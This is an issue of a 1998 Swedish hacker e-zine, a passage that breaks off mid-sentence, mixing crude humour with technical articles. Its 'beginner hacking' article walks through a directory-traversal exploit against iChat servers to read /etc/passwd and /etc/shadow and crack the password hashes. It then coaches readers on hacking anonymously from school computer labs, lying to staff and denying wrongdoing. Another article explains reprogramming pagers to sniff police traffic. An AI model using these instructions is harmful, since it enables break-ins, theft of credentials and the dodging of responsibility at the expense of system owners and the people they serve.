                       _    __            ___
                      | |  / /___ _____  / (_)___ _____ _
                      | | / / __ `/ __ \/ / / __ `/ __ `/
                      | |/ / /_/ / / / / / / /_/ / /_/ /
                      |___/\__,_/_/ /_/_/_/\__, /\__,_/
                                          /____/
             _____ __   _   _ __
            / ___// /__(_)_(_) /__________ _____ ___  ____ ___  ____ _
            \__ \/ //_/ __ \/ __/ ___/ __ `/ __ `__ \/ __ `__ \/ __ `/
           ___/ / ,< / /_/ / /_(__  ) /_/ / / / / / / / / / / / /_/ /
          /____/_/|_|\____/\__/____/\__,_/_/ /_/ /_/_/ /_/ /_/\__,_/

                __  __                __
               / / / /___  ____ _____/ /___  ____ ___  ____ ______
              / / / / __ \/ __ `/ __  / __ \/ __ `__ \/ __ `/ ___/
             / /_/ / / / / /_/ / /_/ / /_/ / / / / / / /_/ / /
             \____/_/ /_/\__, /\__,_/\____/_/ /_/ /_/\__,_/_/
                        /____/

               VANLIGA SKTSAMMA UNGDOMAR NUMMER 6, OKTOBER 1998


Uppmaning
-=======-

Ls detta zine ptnd, med dina blodsbesudlade hnder ivrigt smekande den
nyligen stulna Pentium II-datorn!!


Officiell epostadress till VSU-redaktionen
-========================================-

harnhammar@yahoo.com

(Skriv till oss om ni har ngra kommentarer, eller om ni vill prenumerera p
vr astuffa mailinglista, s att ni blir den allra frsta i 'teret som fr
varje nummer av VSU.)


Innehllsfrteckning
-==================-

( 1) "   "
( 2) NYBRJARHACKING: HACKA iCHAT-SERVRAR
( 3) VSU - NU VEN P PAPPER
( 4) PERSONSKARE
( 5) DAGENS WORD-TIPS
( 6) NYFIKEN P: SVENSKA ZINES, DEL 2
( 7) TITEL
( 8) NYBRJARHACKING: BAKDRRAR
( 9) TELIAHACKET
(10) Q & A
(11) EN AKADEMISK REDOGRELSE VER VARFR TJUVSAMHLLET SUGER KUK
(12) ......


(Det var ocks meningen att vi skulle ha med en artikel vid namn "SLACKERS:
VANLIGA SKITSAMMA-UNGDOMAR", men vi orkade aldrig riktigt brja p den. Det
var mycket schyssta spoperor p TV, och Krille-med-kniven hade ftt in nya
roliga droger och Nintendo-spel, s det blev aldrig av att vi skrev den.)


Medverkande skribenter i detta nummer
-===================================-

Ulf, Motion och Panik


Astuff ASCII-logga ovan
-=====================-

Gjord i CGI-skriptet "Figlet"


------------------------------------------------------------------------------


"   "
-===-


Monique, take the tigers away! Klart grabben ska ha en SCUD-missil! Unge man
nu schka ja bertta frej va live' gr up! En av en miljon exakt likadana
svenska $ofia-flickor ramlade ner i en flera kilometer djup gatubrunn, och
sedan var det bara 999999 exakt likadana svenska $ofia-flickor kvar. Commodore
Teenage Riot!

Fnord?

Kibo.


// Ulf of VSU


------------------------------------------------------------------------------


NYBRJARHACKING: HACKA iCHAT-SERVRAR
-==================================-


Hr r en text fr dig som vill bli en tuff hacker, men som inte kan s mycket
n. Den frklarar hur man hackar sig in i system som kr iChat.

iChat r ett chatsystem, fr alla sm 14-riga mensflickor som chattar p
ntet med Jumper och sedan loggar ut och ligger i sina flickrum och tittar p
sina Backstreet Boys-planscher och pullar sig sjlva. iChat r ett populrt
chatsystem, och finns installerat lite verallt.

iChat innehller en egen webserver, s man anropar detta chatsystem med sin
vanliga weblsare. Mnga av dessa iChat-system svarar p port 4080, s en
typisk adress till ett chatsystem kan se ut s hr:

http://chat.med.ackliga.mensflickor:4080/en/satans/massa/kataloger/chat.html

Alla MIT-nrdar (eller vilken jmrans skola de nu gick p) som har kodat
iChat var uppenbarligen dliga p skerhet, s iChats webserver har en
allvarlig bug som vi kan utnyttja fr att lsa valfri fil (nstan) p deras
system. Ni frstr, alla webservrar har en slags rotkatalog dr man hamnar om
man bara surfar till http://namn.pa.dator.com/ och inte skriver ngot filnamn.
Det r inte meningen att man ska kunna ta sig upp frn denna serverrotkatalog
till katalogen ovanfr hur som helst, men det kan man p iChats webserver,
helt enkelt genom att anvnda UNIX-systemens vanliga beteckning "..", som just
tar dig upp en katalog.

Man kan brja med att ta sig uppt ett par tre kataloger:

http://chat.med.ackliga.mensflickor:4080/../../../etc/passwd

Om inte det fungerar r det bara att g upp en katalog till:

http://chat.med.ackliga.mensflickor:4080/../../../../etc/passwd

Nr man har ntt 6-7 "/../"-hopp och det fortfarande inte fungerar, s kan man
bara konstatera att det inte gr p den hr servern. iChat har nmligen ganska
nyligen insett att den hr buggen finns, s den r rttad i deras senaste
versioner. Men som vanligt finns det ju massor av system dr ute p ntet som
kr ldre versioner...

Med den hr metoden kan du lsa vilken fil som helst p en server, som kan
lsas av den anvndare som iChat-webservern krs som. Du kan prova med:

/etc/passwd
/etc/shadow
/etc/services
/etc/inetd.conf
/etc/motd

(/etc/shadow behver du, om /etc/passwd-filen inte innehller ngra krypterade
lsenord utan bara har markeringarna "*" eller "x", istllet fr lsenorden i
det andra fltet dr lsenorden ska vara. /etc/shadow ska ha sdana
filrttigheter att bara root ska kunna lsa den, men  andra sidan r det vrt
att prova om man kommer t den, eftersom det skert finns idioter dr ute som
kr sin iChat-webserver som root.)

Observera att chatsystemet sger t weblsaren att dessa filer har
Content-type: text/html, s radbrytningarna i filerna kommer inte att visas
rtt i din weblsare. Det lser du genom att spara filerna frn denna lsare
som source. I den sparade versionen s kommer d radbrytningarna att vara
rtt.

Nr du har ftt tag p en fil som innehller krypterade lsenord, antingen den
heter /etc/passwd eller /etc/shadow, laddar du ner lsenordsknckarprogram och
ordlistor frn ngon 0nd websida. Sedan lser du dokumentationen som fljer
med lsenordsknckarprogrammet (RTFM!) och kr programmet i alla tnkbara
lgen mot din lsenordsfil och dina ordlistor. D br du tminstone f
lsenord till ngon anvndare p iChat-servern. Om du har tur s finns det
ngot annat roligt p samma dator, och inte bara en chat. UNIX-datorer r inte
s billiga, s de flesta fretag brukar lta samma dator vara webserver,
mailserver och en massa annat (iChat-server?) samtidigt.

Sedan kan du hacka! Vi har redan varit inne p detta i VSU#4, men vi kan ju
nnu en gng ppeka att det r farligt att hacka hemifrn. Du kan bli sprad.
Det r bttre att leta reda p ngot stlle som har en massa ntuppkopplade
datorer, och dr ingen verkar ha ngon koll p vem som ska vara dr och som
fr anvnda dem. Det brukar g att hitta sdana stllen p olika lokala
skolor. Om ngon sysadmin p ngon site som du har hackat upptcker dig kan de
ju bara spra de 0nda IP-paketen till detta stlle dr du har suttit, och d
r det bara att sluta g dit och leta reda p ngot nytt stlle att hacka
frn.

Hr r ngra till saker att tnka p:

* Se till att du inte har ngon koppling till stllet i frga. Det r dumt om
det finns folk p stllet som knner igen dig, och vet att det dr r Pelle.
Det r viktigt att du r anonym.

* Ta inte med ngot som kan identifiera dig, typ ID-kort, bankomatkort eller
bibliotekskort. Om du ker fast och har p dig ditt ID-kort r det ju krt
direkt, men om du inte har det fr du kanske chans att smita frn sysadminen
senare. (Om ni inte hade fattat denna punkt sjlva frtjnar ni nstan att bli
bustade..)

* Anpassa dig s att du passar in i miljn dr du ska vara. Om du vanligen
klr dig som en punkare och skolan du ska hacka frn ligger p stermalm kan
det vara en bra id att anpassa ditt utseende efter hur folk ser ut p
stermalm, s att du inte sticker ut fr mycket.

* Vlj inte ngot stlle att hacka frn som har mycket med datorer att gra.
Det finns en risk att ngon anstlld har verklig koll p vad de gr, och
brjar logga. Gr allts inte som SHA gjorde: hacka inte frn KTH! Det r
farligt. Vlj ngot stlle som fick Internet 1996 nr mediahypen hade kommit
igng p allvar, men dr utbildningen inte huvudsakligen handlar om teknik.

* Se till att kolla olika lagliga grejer p ntet (din mail, olika websidor
o s v) p din egen dator innan du ker till stllet du ska hacka frn. Annars
finns det en risk att du frr eller senare brjar slappna av ("det r ju ingen
som loggar p det hr stllet, de har ju ingen som helst koll") och brjar
lsa din email frn datorerna p stllet du ska hacka frn - och det r ocks
farligt.

* Ha alltid koll p omgivningen omkring dig. Var alltid medveten om hur man
snabbt loggar ut och avslutar det program som du r inne i. Placera alltid
muspekaren vid den ruta som avslutar programmet du r i, s att man snabbt
kan klicka p den rutan. Det du gr r OLAGLIGT, s om det kommer in ngon
uppretad 50-ring i datorsalen och sger "Jaha, vad gr ni hr d?" vill du
snabbt kunna avsluta allting, s att du iallafall inte har ngra vittnen som
kan intyga att du satt p dator X och telnettade till dator Y.

* Om du vill vara riktigt ambitis kan du kolla upp olika klasskataloger och
liknande, s att du har ngot svar p frgan "Vad gr du p fr kurs d?".
Ett OK svar kan vara "Jag gr p reklamlinjen" (man hoppas att inte personen
man pratar med gr det, fr d fr man problem). Sedan fortstter man att
titta p datorskrmen. Om de pratar mer fr man urskta sig: "Du, den hr
grejen mste vara klar i kvll, s jag har inte tid att prata". Folk kommer
inte att tro att en 0nd hacker har tagit sig in i just deras skola, s bara
du kommer med trovrdiga svar p eventuella frgor borde du klara dig undan
mnniskor i samma datorsal.

* Hacka aldrig frn datorsalar med mycket folk i. Stt dig p ngon dator en
bit frn nrmaste anvnda dator, s att ingen sitter bredvid dig och ser vad
du gr. Ha koll p hur folk rr sig i rummet, s att du kan logga ut om ngon
kommer i nrheten.

* Kom ihg att det inte r olagligt att logga in med Telnet eller FTP p
avlgsna servrar. Det som r olagligt r att logga in med sdana program p
servrar dr man inte har rtt att vara. Om ngon usel sysadmin haffar dig,
neka drfr alltid till att du har gjort ngot olagligt. Det dr universitetet
i Australien har du ett konto p fr att du pluggade dr frut som
utbytesstudent, och det dr amerikanska datorfretaget har du ocks ett konto
p, eftersom du har lrt knna en kille som jobbar dr via IRC o s v.

* Det skadar aldrig att vara litet paranoid. Oavsett hur mnga Wingate-
maskiner som du anvnder fr att koppla dig vidare s kan du ju aldrig veta om
inte ngon som r ansvarig fr den frsta maskinen i kedjan har upptckt dig
och har stllt in att alla uppkopplingar ska loggas p deras skrivare.


// Ulf of VSU


------------------------------------------------------------------------------


VSU - NU VEN P PAPPER
-=====================-


VSU r inte bara ett e-zine. Vi r numera ocks ett fanzine. Vi VET vad vra
lsare behver.

Jomen, vi r extremt stolta att kunna bringa er VSU#5.5 - det frsta numret av
VSU p papper!! Detta nummer r en samling (en slags "greatest flops" eller
"the worst of" eller vad ni vill) som innehller texter frn e-zinet VSU,
nummer 1-4.

Ur innehllet:

* YYYL!
* SAGAN 0M DEN ST0RE STYGGE HACKERVARGEN 0CH DE TRE SM SYSADMiNGRiSARNA
* 0NDSKANS DUALiSM
* RAVEK0MMAND0T TALAR UT!
* K0MPETENTA SVENSKA J0URNALiSTER TAR UPP ViKTiGA, ANGELGNA FRG0R
* SAGAN 0M PHERDiNAND
.. och mycket mer.

Dessutom innehller fanzinet ngra bonusspr i form av ngra av mina (Ulf of
VSU:s) texter fr e-zinet 020-795611-Knulla-Dden. Som ni kanske vet s var
jag med och skrev fr 020:s frsta tre nummer, och ngra av de texterna finns
ocks med i det hr pappersfanzinet.

Alla dessa texter finns nu utgivna med BILDER fr allra frsta gngen i
vrldshistorien!!! Som om inte allt detta var nog har VSU#5.5 ocks en brutalt
0nd datarelaterad omslagsbild. Jag sger inte vad det r, men den r s 0nd
att hlften vore nog.

Om du bor i Sverige kostar varje nummer av VSU#5.5 20 kronor. Om du vill kpa
fanzinet, hr av dig via epost till harnhammar@yahoo.com , s skickar vi mer
information om hur du gr din bestllning.

Jag vet att vi har ngra lsare utanfr landets grnser, och om ngra av dem
vill kpa fanzinet kan de ocks hra av sig via epost, s kan vi rkna ut ett
pris fr att skicka fanzinet till det land som de bor i.

Varje ny bestllning kommer att f oss att trycka upp nya nummer av VSU#5.5
med vr sofistikerade print-on-demand-teknik (som gr ut p att vi tar med en
viktig diskett, och ker via den uschla tunnelbanan med det buggade
signalsystemet till ett stlle dr vi kan skriva ut gratis).

HAHA! Hittills har vra uschla texter bara drabbat ntanvndarna, men nu
kommer inte ens de icke uppkopplade mnniskorna att slippa oss. Bestll grna
ett extra nummer av VSU#5.5 till din djupt religisa gammelfarmor. Hon kommer
skert att lska VSU ;)


// Ulf of VSU


------------------------------------------------------------------------------


PERSONSKARE
-==========-


I stort sett alla personskare som sljs idag r av typen "POCSAG". Detta str
fr "Post Office Code Standardization Group". Denna standard skapades tidigt
av brittiska BT. POCSAG, ssom det r definierat i standarden r 512, 1200
eller 2400 bps (bitar per sekund) FSK-signalering, med en vglngd p +- 4.5
kHz. Datan r NRZ-kodad, dr den hgre frekvensen representerar 0 och den
lgre representerar 1.

POCSAG-signalformatet bestr av en "inledningssignal", och en eller fler
batchar. Inledningssignalen bestr av 576 bitar omvxlande 101010-mnster,
snt i 512, 1200 eller 2400 bps. Personskaren anvnder inledningssignalen
till att bde avgra om det mottagna r en POCSAG-signal och fr
synkronisering med datastrmmen.

En batch bestr av en frame synkroniseringskod, fljt av 8 frames. Varje frame
innehller tv kodord, separerade av ett synkroniseringskodord. Ett meddelande
kan ha s mnga kodord som behvs fr att lmna meddelandet, och kan strcka
sig genom mnga batchar, om det behvs. Slutet p ett meddelande indikeras med
ett "nsta adress"-kodord. Bde adressering och anvndardata skickas i
kodorden. Skillnaden visas genom den sista siffran i kodorden (LSD) : 0 fr
adressdata, och 1 fr anvndardata.

Standardalfanumeriska data skickas i ett sjubitars format, dr varje kodord
innehller 2 6/7 bokstver. I USA anvnds av vissa telebolag ett system med 8
bitar alfanumerisk data, som tillter anvndaren att skicka data som t ex
datorfiler och grafik, fr att inte glmma vanliga meddelanden. 8 bitars
systemet mjliggr 2.5 bokstver per kodord.

Numeriska data r p 4 bitar, och tillter upp till 5 siffror att verfras
per kodord. Tonmeddelanden innehller endast adressinformation.


*** Mottagardelen (Personskaren)


Personskare finns i hundratals former och storlekar, men de flesta r dock
tillverkade av Motorola. Numeriska personskare str fr lite mer n 60% av
marknaden, och resten upptas naturligtvis av alfanumeriska personskare. De
adresseras unikt, med en sex till tta siffror lng s k "capcode". Denna r
ofta skriven p personskarenheten.

Numeriska personskare har trots sin svaghet i och med att de bara kan visa
siffror bevisat motsatsen. Mnga skningar r naturligtvis relaterade till
telefonnummer, men folk har ven byggt upp ett kodsystem dr varje siffer-
kombination str fr ngot speciellt. Jag skulle gissa att Kina r det mest
aktiva landet i vrlden nr det gller numeriska skningar, ttt fljda av
alla knarklangare. (2112 0830 187 - Var p mtesplatsen halv nio, annars
skjuter jag dig i huvudet.)

Alfanumeriska personskare r fr det mesta kontaktade via en speciell service
dr man manuellt fr sl in eller sga meddelandet som skall skickas.

Personskare kan ven ha samma capcode som de adresseras via, t ex polisen i
mnga strre stder anvnder sig av personskare. Allts kan flera
personskare ha samma capkod, och slunda torde det ej vara srskilt svrt att
t ex ndra capkoden i sin egen personskare till den capkod som man r
intresserad av att sniffa trafiken p. De flesta personskare har sin capkod
lagrad i en PAL-krets, vilken torde vara en smal sak att ndra capkod i, om
man vill det. 

S hemskt svrt behver man dock ej gra det fr sig, d det finns ritningar
och programvara till att programmera om personskare av de flesta tillverkare
ltt tillgngligt p Internet. Det som behvs r fr det mesta en speciell
seriekabel samt programvara. r ni intresserade av detta kan jag hnvisa till
http://radiophone.dhp.com/ dr mngder av information om bde analog samt
digital radiokommunikation finns att inhmta. 

I andra lnder n Sverige, USA t ex, finns personskare som kan programmeras
"ver luften" av fretaget som tillhandahller tjnsten i frga. Denna teknik
kallas OTP (Over The air Programming). De mjligheter som finns vid OTP-
programmering brukar inskrnkas till att lgga till / ta bort capkoder eller
lsa personskaren om de ligger efter med rkning. 


*** Tjnster


I Sverige har marknaden slutat att kpa personskare, till frmn fr
mobiltelefoner, frmst d GSM. Men i andra lnder r utbudet av olika tjnster
som kan knytas till personskaren stort.

Email r nog bland det trevligaste man kan f skickat till sin personskare
(om man inte r med p en miljon mailinglistor). Amerikanska fretag som t ex
SkyTel och Radiomail tillhandahller denna tjnst, och ger kunden en email-
adress som brukar se ut som fljande: nummer@skymail.com. Detta behver man
dock EJ betala fr - det finns ett flertal olika helt gratis personskar-
gateways p Internet, och diverse olika shellscripts som anvnder sig av detta
och via email forwarding frn en UNIX-maskin kan skicka din personskare t ex
subjekt- och frn-raden p ett email. Ett sdant program r IXOBEEPER som br
kunna hittas ltt med en archie-frfrgan.

Det finns ven tv RFC-filer om personskare och Internet: 1568 samt 1569.
Frstnmnda, 1568 behandlar SNPP, Simple Network Paging Protocol, vilket har
mycket stora likheter med SMTP (Simple Mail Transfer Protocol), d v s
kommandon i stil med:

PAGE - Fljt av personskarnumret.
MESS - Fljt av det numeriska / alfanumeriska meddelandet.
SEND - Skicka.
& QUIT - Avsluta sndning och logga ur.

Den andra RFC-filen, 1569, behandlar adressering av alla personskare under en
speciell domn, TPC.INT, vilken d skulle vara reserverad fr tjnster med
direkt anslutning till telefonbolag. Anvndarnamn skulle d vara begrnsade
till personskarnumret, och en skning p t ex amerikanska 1-800-555-1212
skulle sndas som "pager@2.1.2.1.5.5.5.0.0.8.1.tcp.int." Dock br nmnas att
ingen av dessa RFC-filer har legat till grund fr ngon standard hur detta
skall hanteras ver Internet. Fortfarande r det "hemskrivna" program som
hanterar s kallade "pager gateways", fritt versatt "personskarportar".


*** Personskarfrekvenser och nttyper


sterrike            162.050  - 162.075         T,N,A

Australien           148.100  - 166.540         T,N,A

                     411.500  - 511.500         T,N,A

Kanada               929.025  - 931-975         T,N,A

                     138.025  - 173.975         T,N,A

                     406.025  - 511.975         T,N,A

Kina                 152.000  - 172.575           N,A

Danmark              469.750                      N,A

Finland              450.225                    T,N,A

                     146.275  - 146.325         T,N,A

Frankrike            466.025  - 466.075         T,N,A

Tyskland             465.970  - 466.075         T,N,A

                     173.200                    T,N,A

Hong Kong            172.525                      N,A

                     280.0875                   T,N,A

Indonesien           151.175  - 153.050             A

Irland               153.000  - 153.825         T,N,A

Italien              466.075                    T,N,A

                     161.175                      T,N

Japan                278.1625 - 283.8875          T,N

Korea                146.320  - 173.320         T,N,A

Malaysia             152.175  - 172.525         N,A,V

                     931.9375                     N,A

Holland              156.9865 - 164.350         T,N,A

Nya Zealand          157.925  - 158.050         T,N,A

Norge                148.050  - 169.850         T,N,A

Singapore            161.450                      N,A

                     931.9375                     N,A

Sverige              169.8                      T,N,A

Schweiz              149.5                      T,N,A

Taiwan               166.775                      N,A

                     280.9375                     N,A

Thailand             450.525                      N,A

                     172.525  - 173.475           N,A

England              138.150  - 153.275         T,N,A

                     454.675  - 466.075         T,N,A


*** Teckenfrklaring till tabellen


T = Ton

N = Nummer

A = Alfanumerisk

V = Rst


---------------------------------------
motion@webservices.se
http://c5.hakker.com/

PGP key? finger motion@geek.rcc.se
---------------------------------------


// Motion


------------------------------------------------------------------------------


DAGENS WORD-TIPS
-==============-


Slng ut skiten, och installera EMACS eller Micro EMACS istllet.


// Ulf of VSU


------------------------------------------------------------------------------


NYFIKEN P: SVENSKA ZINES, DEL 2
-==============================-


I vrt frra nummer (VSU#5) hade vi med en kort beskrivning av vad zines r,
samt en genomgng av den svenska zinesscenen. Under den tid som har flutit
frbi sedan dess har ngra nya zines startat, och det har kommit ut nya
nummer av de zines som vi skrev om d. Vi hlsar "Vanliga Svenska Priikers",
"K.L.0.R.B's Frikar Lcktyr", "Mr. Headache's Underground" och "Liberalt
Oorganiserat Drgg" vlkomna till listan. Dessutom har vi med ny information
om "Just Another Zine", "Klan of the BloodStained Blade" och "Underground
eXperts United", som vi skrev om i frra numret.

Hr fljer en uppdatering av vr svenska zineslista frn VSU#5:


* JUST ANOTHER ZINE (JAZ)
Inriktning: Ironisk humor
Antal utgivna nummer: 3
Status: Levande
Ladda ner frn: http://hem2.passagen.se/k3wl/

* K.L.0.R.B'S FRIKAR LCKTYR
Inriktning: Tekniska artiklar och allmn 0ndska
Antal utgivna nummer: 1
Status: ???
Officiell websida: http://members.xoom.com/kl0rb/

* KLAN OF THE BLOODSTAINED BLADE (KBB)
Inriktning: Tekniska artiklar, med mycket information om phone phreaking och
            tillverkning av bomber
Antal utgivna nummer: 15
Status: Dd
Officiell websida: http://www.smite.org/kbb/

* LIBERALT OORGANISERAT DRGG (LOD)
Inriktning: Allmn 0ndska plus lite phone phreaking
Antal utgivna nummer: 2
Status: Levande
Kontaktadress: liberalt_oorganiserat_dragg@usa.net

* MR. HEADACHE'S UNDERGROUND
Inriktning: Allmn undergroundinriktning, med tips p hur man kan hmnas p
            sina fiender och liknande. De har mycket material som r klippt
            frn olika publikationer, men de anger alltid kllan.
Antal utgivna nummer: 5
Status: Levande
Officiell websida: http://www.geocities.com/Baja/1156/

* UNDERGROUND EXPERTS UNITED (uXu)
Inriktning: uXu har funnits sedan 1991, och har gett ut massvis med texter. De
            har breddat sig, och p gott och ont knns de inte lika tydligt
            underground som sina zineskollegor (trots namnet!). En del av
            deras material skulle kunna vara med i ngon uppkftig liten
            kulturtidskrift, typ "cklet".
Sprk: Engelska i huvudsak, men ger ven ut en del material p svenska
Antal utgivna nummer: 31
Status: Levande
Officiell websida: http://www.uxu.org/

* VANLIGA SVENSKA PRIIKERS (VSP)  [a]
Inriktning: Tekniska artiklar om phone phreaking, med speciell inriktning p
            beige boxing
Antal utgivna nummer: 4
Status: Levande
Officiell websida: http://members.xoom.com/Priik/


KOMMENTARER:

[a] ..hmm, jag undrar just var de fick inspirationen till det namnvalet frn
    ;).. Frutom zinet innehller VSP:s websida bl a phreakingrelaterade
    foton och program.


Numera finns det allts totalt 14 svenska zines med p vr astuffa lista!!
Wow, 14 stycken! Det brjar ju verkligen att likna ngot, speciellt med tanke
p vad f av dessa som fanns bara fr ngra r sedan.

Skicka grna era zines till oss VSU:are p vr officiella epostadress
harnhammar@yahoo.com , s slipper vi leta upp dem sjlva p diverse skumma
websidor. Skriv till samma adress om vi har publicerat felaktig information
(status, antal utgivna nummer eller dylikt) fr ngot av dessa zines, i vra
listor i VSU#5 eller VSU#6. Fler delar av den hr listan kommer att komma ut.
"Vi brinner fr det hr permanent", som det rappas i visan.

Ni kan ocks skriva till oss om ni har publicerat ngon typ av hack/phreak/
kemi/virusinformation p ngot annat stt n genom ett zine. Ni kanske har en
h/p-grupp som ger ut textfiler eller exploits. I s fall vill vi att ni
skickar adresser (www, ftp) dr man kan ladda ner allt som ni har slppt, s
kan vi skriva om det i ngot kommande nummer. Vi vet att det finns folk som
har slppt sdan information hr i Sverige - exempelvis brukade Swedish
Infomania slppa textfiler om kemi och bombtillverkning frut, och det finns
ocks en hackingrelaterad serie av textfiler som heter "My Word", men det
finns skert en massa annat sdant material som vi har missat.


// Ulf of VSU


------------------------------------------------------------------------------


TITEL
-===-


[Scenanvisning. Ett rum med inredning, men med en allvarlig brist p folk. En
efter en kommer tre personer in i rummet.]

Rst 1: - Han heter Ulf, och han r medelklass, s han mste fras till
villaomrdet med detsamma!

Rst 2: - hh, villaomrdet, har'u ftt spader? Dr blir han medelklass ju!

Rst 3: - h nej nej! Ginsberg, jag vill stanna hr hos dig!!

Vlkommen till ett 24 timmars survival game, som r sponsrat av Snickers.
Detta survival game r dels till fr att ni ska kpa vr uschla choklad, och
dels till fr att ni ska slippa tnka p det 90 rs survival game som ni redan
spelar. Klttermus, karririst, det kan g p ett ut. Ska det vara 0nt, ska
det vara VSU!

Vlkommen till den amerikanska drmmen i villorna i Ljungby och Lotorp, dr de
vlansade moderatmnniskorna suger av Ronald McDonald varje dag och kommer hem
och har sex till CD-skivan "Smurfhits vol. 18: Snger att lska till" och dr
de inte tvekar en sekund att tacka ja till diverse skamliga frslag frn
Eric$$on. Familjelivet r fr hjrnan vad rullat0rn r fr kroppen: en krycka
att ta till, nr man har tagit skada av sitt ldrande, s att man inte lngre
klarar av saker p riktigt. Man kommer oskt att tnka p vissa insekter vars
nervsystem r uppbyggt s att kroppen klarar av att fortstta rra sig en
stund, fast de har blivit halshuggna.

If (NyttJobb.Ln > GammaltJobb.Ln) then BytJobbDirekt(NyttJobb);

Se de hrligt obildade skitungarna frn villaomrdena i Lotorp, som just har
slsat bort 15 r av sina liv p att dra i en joystick!

Flockmnniskorna! Slavmnniskorna! De MYCKET FR MNGA!

Allt i mainstreamsamhllet suger alltid, inklusive rttsvsendet. Borta i USA
har Kevin Mitnick varit hktad i ver tre r utan att ha ftt ngon rttegng.

Skda lmmeltget av hundratusentals exakt likadana indieflickor, som gr och
kper samma Radiohead-CD exakt samma dag, fr att media har sagt t dem att
kpa den. Man r ett offer fr massmedia. Det finns mnga bttre band i samma
genre, men de ligger inte p lika stora skivbolag, s fr att upptcka deras
musik mste man anstrnga sig lite sjlv, vilket inte s mnga mnniskor
orkar. Var egentligen det klonade fret Dolly ngot nytt? Folk verkar ju vara
bra sjlva p att bli exakta kopior av varandra, s vi behver inte kunna
klona.

Du r lurad. All popmusik och all annan populrkultur r bara en marknads-
fringsploj fr att f slja mer klder och fler stereoanlggningar.

Maskiner r vi allihopa. Skillnaden mellan Metal Maniac och lysrret ovanfr
Metal Maniac r jvligt liten.

Vlkommen till den frljugna akademiska vrlden, dr alla har fastnat i leken
"Flja Professorn" (en lek fr vuxna, som har exakt samma regler som en lek
fr barn som heter "Flja John"). De tror att de r fria att komma med helt
nya teorier, men egentligen r de lika fastlsta av trender och tidsandan som
vilken kldaffr som helst. Om det nu r s viktigt att hlla folk i allmnhet
och arbetarklassen i synnerhet utanfr era hgstende jvla diskussioner kan
ni vl g tillbaks till att prata latin? Det har ju nyttjats frr i tiden fr
att undanhlla information, och d gick det ver all frvntan. Det vi talar
om hr r mnniskor vars hela inre kan liknas vid ngon jmrans databassk-
ning. Man tnker aldrig sjlv, utan letar reda p vad knda akademiker har
sagt och lr sig sedan detta utantill. Dessutom r ju lraryrket dmt att d
ut, eftersom vi har uppfunnit bde bandspelare och video fr lnge sedan. En
lrare r ju samma sak som en bandspelare - en grej som mekaniskt lser upp
ett frprogrammerat meddelande utan ngra som helst variationer.

Systembolagskatalogens beskrivningar r inte anpassade till verkligheten. Ett
allvarligt glapp har uppsttt mellan teori och praktik. Beskrivningarna i
katalogelndet ser ut s hr: "Ett fruktigt vitt vin med aningen besk efter-
smak". Detta r dligt anpassat till normalsvenskens alkoholvanor. Om de
skulle tnka mer p sina kunder skulle deras beskrivningar i katalogen snarare
se ut s hr: "h faan du blir full jehvla snabt p den hra flarran grabben
men de kmmer smaka skit i munnjeveln efterettag sru kanschke kmmer b-hva
spy fan". (Vanliga Skmtsamma Ungdomar!?)

Ack! Ni tvetrogna, som stndigt och skndligen frgves sker efter dolda
budskap och meningar i allt. I sanning frtlja jag eder: litteraturen ro ett
konsthantverk! Bra litteratur uppst, d frfattaren placera ut mellanslagen
mellan orden i vackra mnster. Allt annat (bokstverna i sig, de eventuella
ord som bokstverna bildar) r oviktigt - endast mnstret som mellanslagen
bilda i texten ro af betydelse.

Vnskap r som ett cat-kommando (eller TYPE om vi talar om sdana dr ckliga
kommersiella operativsystem frn Malmskillnadsgatan). Man har vnner fr att
kunna kopiera deras kunskap och den information som de har samlat p sig. En
vn r allts samma sak som en journalist, eftersom journalisterna ocks finns
fr att frmedla information till dig.

Sannerligen, det hrt kriminellt belastade Brdraskapet VSU har skdat
vrldens sanna vrden! Jag ger dig endast tv alternativ: konstnr eller
maskin! Brottsling eller ovsentlig villagare! Bryt mot lagen, eller bli
bortglmd! Nrden r uppfinningens moder! "I've got nothing to say, but it's
OK. Good morning. Good morning. Good morning." (Lennon/McCartney) Vi str fr
det frvirrade och upprrande, de sikter som ni silar bort i er lismande
sjlvgodhet.

Vlkommen till det redan ursprade informationssamhllet, dr Passagen och
Torget ivrigt tvlar om att sl nya bottenrekord i uselt frenklande kvlls-
tidningsjournalistik, dr all text r frdigvinklad och dr "journalisten"
redan har tagit stllning t dig, s att du slipper tnka. Allt kommer att bli
s mycket bttre om alla fniga jvla fretag och alla fniga jvla myndig-
heter och klubbar och organisationer har fula websidor p World Wide Fucking-
web med limegrna logos och animerade GIF:far SOM SUGER! Lt oss alla g ner
p kn och tillbe vr Gud, Guldkalven WWW! Vga aldrig ppna TCP/IP-
uppkopplingar mot ngon annan port n nummer 80 - det kan vara farligt! Vi ska
n fram till en ny vrld, och vi ska ta ett symboliskt steg fr mnskligheten
genom att byta ut den gamla DALAHSTEN mot en skinande ny DATAHST!!! Du kan
vinna ett fjlltlt och en verktygslda, om du lyckas bevisa fr KK-stiftelsen
att du r den globala byns strsta byfne - THE village idiot of the global
village.

Ltar slutar. "Det hr var Seg Dion med en dlig lt, och du lyssnar p Radio
Mix Megapol Power Lugna Favoriter 10x,x. Jag heter Anders Trist, och det
spelar ingen som helst roll vad jag sger s lnge jag har kvar det hr
onaturligt hurtiga tonfallet, eftersom bde jag och alla mina lyssnare r helt
dda inuti. Medeltemperaturen i Sverige idag r 9,3 grader - kallt, eller hur?
Nu r det dags fr lite reklam, men hng kvar: den hr timmen ska vi spela
Phil Collins, Dr Bombay och Michael Bolton!!!!"

Tnk p avstndet mellan plattformen och tunnelbanetget, s att du helgar
det. Mind the gap! (Och d talar jag allts inte om kldaffrskedjan The Gap.)

Samhllet har lyckats samla ihop allt Eric$$onskrp och allt Teliaskrp p
samma stlle, men vi har inte lyckats ta dd p dem n, vilket r synd. (Det
var vl drfr vi skulle samla ihop de allra falskaste i de dr fula husen,
fr att kunna ha ihjl dem lttare?) Det r inte lika tragiskt nr frsta
klassvagnarna p tg rkar ut fr olyckor, som det r nr det hnder ngot med
andra klassvagnarna. Jag menar, fr att f rd att ka frsta klass mste man
ju ha slt sig, s de mnniskorna frtjnar ju en och annan trafikolycka.

Anna Book kommer ut ur kulissen helt orepeterat, fr att pbrja sin nya
karrir som politisk singer/songwriter: "P-K-K, du r i mina tankar, K-G-B,
mitt hjrta det bankar, R-A-F, du fr mig alltfr ltt ur balans".

Skalman br snabbt ut henne, och pbrjar en meningsls akademisk monolog om
huruvida man lses upp direkt om man dyker med huvudet fre ner i en simbas-
sng full med frtande syra eller om man hinner knna att det gr ont frst.

Politiska sikter r som strumpor: ibland kan man ha bla, ibland rda eller
